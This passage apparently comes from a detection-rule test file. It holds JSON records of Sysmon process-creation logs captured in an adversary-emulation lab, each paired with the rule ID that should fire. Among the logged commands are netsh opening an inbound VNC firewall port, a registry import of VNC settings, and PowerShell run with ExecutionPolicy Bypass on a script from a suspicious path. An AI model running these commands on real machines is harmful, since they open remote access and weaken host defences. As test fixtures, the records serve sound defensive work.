"SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\reg.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-3832-6110-5bcc-0a0000000000}", "win.eventdata.logonId": "0xacc5b", "win.eventdata.originalFileName": "reg.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\cmd.exe\\\"", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-387f-6110-ef44-160000000000}", "win.eventdata.parentProcessId": "5476", "win.eventdata.processGuid": "{4dc16835-38ea-6110-b7f6-220000000000}", "win.eventdata.processId": "3148", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1112,technique_name=Modify Registry", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-08-08 20:04:58.696", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "322805", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2284", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-08-08T20:04:58.6993877Z", "win.system.task": "1", "win.system.threadID": "3860", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92041", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "add base 64 string to registry using reg.exe"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"netsh.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\netsh.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-02d8-60fa-f5a3-300000000000}\",\"description\":\"Network Command Shell\",\"logonGuid\":\"{4dc16835-02d7-60fa-a599-300000000000}\",\"parentCommandLine\":\"cmd.exe /c netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900\",\"processGuid\":\"{4dc16835-02d9-60fa-3db5-300000000000}\",\"logonId\":\"0x3099a5\",\"parentProcessId\":\"6432\",\"processId\":\"4448\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-22 23:44:25.211\",\"hashes\":\"SHA1=9184E64C36629A1DCEF084E19CC3E3BEF78F2D7B,MD5=6F1E6DD688818BC3D1391D0CC7D597EB,SHA256=6B691B06FA865F52C9484EF4F10E2E02ED6D7C3A3F474B8B138A33AF7258B2A9,IMPHASH=90B4317BE51850B8EF9F14EB56FB7DDC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1063,technique_name=Security Software Discovery\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\Administrator\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1063,technique_name=Security Software Discovery\\r\\nUtcTime: 2021-07-22 23:44:25.211\\r\\nProcessGuid: {4dc16835-02d9-60fa-3db5-300000000000}\\r\\nProcessId: 4448\\r\\nImage: C:\\\\Windows\\\\System32\\\\netsh.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Network Command Shell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: netsh.exe\\r\\nCommandLine: netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\Administrator\\r\\nLogonGuid: {4dc16835-02d7-60fa-a599-300000000000}\\r\\nLogonId: 0x3099A5\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=9184E64C36629A1DCEF084E19CC3E3BEF78F2D7B,MD5=6F1E6DD688818BC3D1391D0CC7D597EB,SHA256=6B691B06FA865F52C9484EF4F10E2E02ED6D7C3A3F474B8B138A33AF7258B2A9,IMPHASH=90B4317BE51850B8EF9F14EB56FB7DDC\\r\\nParentProcessGuid: {4dc16835-02d8-60fa-f5a3-300000000000}\\r\\nParentProcessId: 6432\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: cmd.exe /c netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-22T23:44:25.2143624Z\",\"eventRecordID\":\"302277\",\"threadID\":\"3456\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2320\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Network Command Shell", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=9184E64C36629A1DCEF084E19CC3E3BEF78F2D7B,MD5=6F1E6DD688818BC3D1391D0CC7D597EB,SHA256=6B691B06FA865F52C9484EF4F10E2E02ED6D7C3A3F474B8B138A33AF7258B2A9,IMPHASH=90B4317BE51850B8EF9F14EB56FB7DDC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\netsh.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-02d7-60fa-a599-300000000000}", "win.eventdata.logonId": "0x3099a5", "win.eventdata.originalFileName": "netsh.exe", "win.eventdata.parentCommandLine": "cmd.exe /c netsh advfirewall firewall add rule name='Service Host' dir=in action=allow protocol=TCP localport=5900", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-02d8-60fa-f5a3-300000000000}", "win.eventdata.parentProcessId": "6432", "win.eventdata.processGuid": "{4dc16835-02d9-60fa-3db5-300000000000}", "win.eventdata.processId": "4448", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1063,technique_name=Security Software Discovery", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\Administrator", "win.eventdata.utcTime": "2021-07-22 23:44:25.211", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "302277", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2320", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-22T23:44:25.2143624Z", "win.system.task": "1", "win.system.threadID": "3456", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92044", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "add VNC firewall rule"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"reg.exe\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\reg.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-06bf-60fa-134e-3a0000000000}\",\"description\":\"Registry Console Tool\",\"logonGuid\":\"{4dc16835-06be-60fa-bb4a-3a0000000000}\",\"parentCommandLine\":\"cmd.exe /c reg.exe IMPORT C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\vnc-settings.reg\",\"processGuid\":\"{4dc16835-06c0-60fa-6c5a-3a0000000000}\",\"logonId\":\"0x3a4abb\",\"parentProcessId\":\"5404\",\"processId\":\"6060\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-07-23 00:01:04.005\",\"hashes\":\"SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1112,technique_name=Modify Registry\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"reg.exe IMPORT C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\vnc-settings.reg\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.1 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\Administrator\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1112,technique_name=Modify Registry\\r\\nUtcTime: 2021-07-23 00:01:04.005\\r\\nProcessGuid: {4dc16835-06c0-60fa-6c5a-3a0000000000}\\r\\nProcessId: 6060\\r\\nImage: C:\\\\Windows\\\\System32\\\\reg.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Registry Console Tool\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: reg.exe\\r\\nCommandLine: reg.exe IMPORT C:\\\\Users\\\\Public\\\\vnc-settings.reg\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\Administrator\\r\\nLogonGuid: {4dc16835-06be-60fa-bb4a-3a0000000000}\\r\\nLogonId: 0x3A4ABB\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC\\r\\nParentProcessGuid: {4dc16835-06bf-60fa-134e-3a0000000000}\\r\\nParentProcessId: 5404\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: cmd.exe /c reg.exe IMPORT C:\\\\Users\\\\Public\\\\vnc-settings.reg\\\"\",\"version\":\"5\",\"systemTime\":\"2021-07-23T00:01:04.0096631Z\",\"eventRecordID\":\"302543\",\"threadID\":\"3456\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2320\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "reg.exe IMPORT C:\\\\Users\\\\Public\\\\vnc-settings.reg", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Registry Console Tool", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=C0DB341DEFA8EF40C03ED769A9001D600E0F4DAE,MD5=227F63E1D9008B36BDBCC4B397780BE4,SHA256=C0E25B1F9B22DE445298C1E96DDFCEAD265CA030FA6626F61A4A4786CC4A3B7D,IMPHASH=BE482BE427FE212CFEF2CDA0E61F19AC", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\reg.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-06be-60fa-bb4a-3a0000000000}", "win.eventdata.logonId": "0x3a4abb", "win.eventdata.originalFileName": "reg.exe", "win.eventdata.parentCommandLine": "cmd.exe /c reg.exe IMPORT C:\\\\Users\\\\Public\\\\vnc-settings.reg", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\cmd.exe", "win.eventdata.parentProcessGuid": "{4dc16835-06bf-60fa-134e-3a0000000000}", "win.eventdata.parentProcessId": "5404", "win.eventdata.processGuid": "{4dc16835-06c0-60fa-6c5a-3a0000000000}", "win.eventdata.processId": "6060", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1112,technique_name=Modify Registry", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\Administrator", "win.eventdata.utcTime": "2021-07-23 00:01:04.005", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "302543", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2320", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-23T00:01:04.0096631Z", "win.system.task": "1", "win.system.threadID": "3456", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92045", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Modified registry with suspicious file"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"PowerShell.EXE\",\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"product\":\"Microsoft® Windows® Operating System\",\"parentProcessGuid\":\"{4dc16835-fc27-6140-8277-6d0000000000}\",\"description\":\"Windows PowerShell\",\"logonGuid\":\"{4dc16835-face-6140-b05f-3d0000000000}\",\"parentCommandLine\":\"powershell -ExecutionPolicy Bypass -NoExit .\\\\\\\\meta.ps1\",\"processGuid\":\"{4dc16835-0124-6141-07ac-de0000000000}\",\"logonId\":\"0x3d5fb0\",\"parentProcessId\":\"6760\",\"processId\":\"7152\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-09-14 20:08:04.834\",\"hashes\":\"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\",\"ruleName\":\"technique_id=T1086,technique_name=PowerShell\",\"company\":\"Microsoft Corporation\",\"commandLine\":\"powershell.exe -c C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\rad353F7.ps1\",\"integrityLevel\":\"High\",\"fileVersion\":\"10.0.19041.546 (WinBuild.160101.0800)\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"2\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-09-14 20:08:04.834\\r\\nProcessGuid: {4dc16835-0124-6141-07ac-de0000000000}\\r\\nProcessId: 7152\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe -c C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\rad353F7.ps1\\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-face-6140-b05f-3d0000000000}\\r\\nLogonId: 0x3D5FB0\\r\\nTerminalSessionId: 2\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {4dc16835-fc27-6140-8277-6d0000000000}\\r\\nParentProcessId: 6760\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-14T20:08:04.8361828Z\",\"eventRecordID\":\"360340\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe -c C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\rad353F7.ps1", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{4dc16835-face-6140-b05f-3d0000000000}", "win.eventdata.logonId": "0x3d5fb0", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "powershell -ExecutionPolicy Bypass -NoExit .\\\\meta.ps1", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{4dc16835-fc27-6140-8277-6d0000000000}", "win.eventdata.parentProcessId": "6760", "win.eventdata.processGuid": "{4dc16835-0124-6141-07ac-de0000000000}", "win.eventdata.processId": "7152", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "2", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-09-14 20:08:04.834", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "360340", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2664", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-14T20:08:04.8361828Z", "win.system.task": "1", "win.system.threadID": "3756", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92029", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Powershell executes script from suspicious path"} +{"log": "{\"win\":{\"eventdata\":{\"originalFileName\":\"calc.exe\",\"image\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe\",\"product\":\"EVALS CALC\",\"parentProcessGuid\":\"{4dc16835-052b-6141-b91c-ea0000000000}\",\"description\":\"Calc for Windows\",\"logonGuid\":\"{4dc16835-face-6140-b05f-3d0000000000}\",\"parentCommandLine\":\"\\\\\\\"cmd.exe\\\\\\\" /C C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe > C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\MGsCOxPSNK.txt\",\"processGuid\":\"{4dc16835-052b-6141-bc2f-ea0000000000}\",\"logonId\":\"0x3d5fb0\",\"parentProcessId\":\"3348\",\"processId\":\"6004\",\"currentDirectory\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\\",\"utcTime\":\"2021-09-14 20:25:15.285\",\"hashes\":\"SHA1=4051AED37DA66751A835B8A8036837A57D121363,MD5=52EC16A75AE1B6810AFD2C5260C8DE3B,SHA256=33A15DA56CF3849A0AFCBA6188919289B64B303DCFC162D40A2386083ED7A6A3,IMPHASH=255DECF44F8564B14D231ACDFCC817EC\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe\",\"ruleName\":\"technique_id=T1059,technique_name=Command-Line Interface\",\"company\":\"EVALS\",\"commandLine\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\TransbaseOdbcDriver\\\\\\\\smrs.exe\",\"integrityLevel\":\"High\",\"fileVersion\":\"2.2.2.2\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"2\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1059,technique_name=Command-Line Interface\\r\\nUtcTime: 2021-09-14 20:25:15.285\\r\\nProcessGuid: {4dc16835-052b-6141-bc2f-ea0000000000}\\r\\nProcessId: 6004\\r\\nImage: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe\\r\\nFileVersion: 2.2.2.2\\r\\nDescription: Calc for Windows\\r\\nProduct: EVALS CALC\\r\\nCompany: EVALS\\r\\nOriginalFileName: calc.exe\\r\\nCommandLine: C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe \\r\\nCurrentDirectory: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-face-6140-b05f-3d0000000000}\\r\\nLogonId: 0x3D5FB0\\r\\nTerminalSessionId: 2\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=4051AED37DA66751A835B8A8036837A57D121363,MD5=52EC16A75AE1B6810AFD2C5260C8DE3B,SHA256=33A15DA56CF3849A0AFCBA6188919289B64B303DCFC162D40A2386083ED7A6A3,IMPHASH=255DECF44F8564B14D231ACDFCC817EC\\r\\nParentProcessGuid: {4dc16835-052b-6141-b91c-ea0000000000}\\r\\nParentProcessId: 3348\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\cmd.exe\\r\\nParentCommandLine: \\\"cmd.exe\\\" /C C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe > C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\MGsCOxPSNK.txt\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-14T20:25:15.3105073Z\",\"eventRecordID\":\"360653\",\"threadID\":\"3756\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2664\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "C:\\\\Users\\\\AtomicRed\\\\AppData\\\\Roaming\\\\TransbaseOdbcDriver\\\\smrs.exe", "win.eventdata.company": "EVALS", "win.eventdata.currentDirectory": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\", "win.eventdata.description": "Calc for Windows", "win.eventdata.fileVersion": "2.2.2.2", "win.eventdata.hashes": "SHA1=4051AED37DA66751A835B8A8036837A57D121363,MD5=52EC16A75AE1B6810AFD2C5260C8DE3B,SHA256=33A15DA56CF3849A0AFCBA6188919289B64B303DCFC162D40A2386083ED7A6A3,IMPHASH=255DECF44F8564B14D231ACDFCC817EC", "win.eventdata.image": 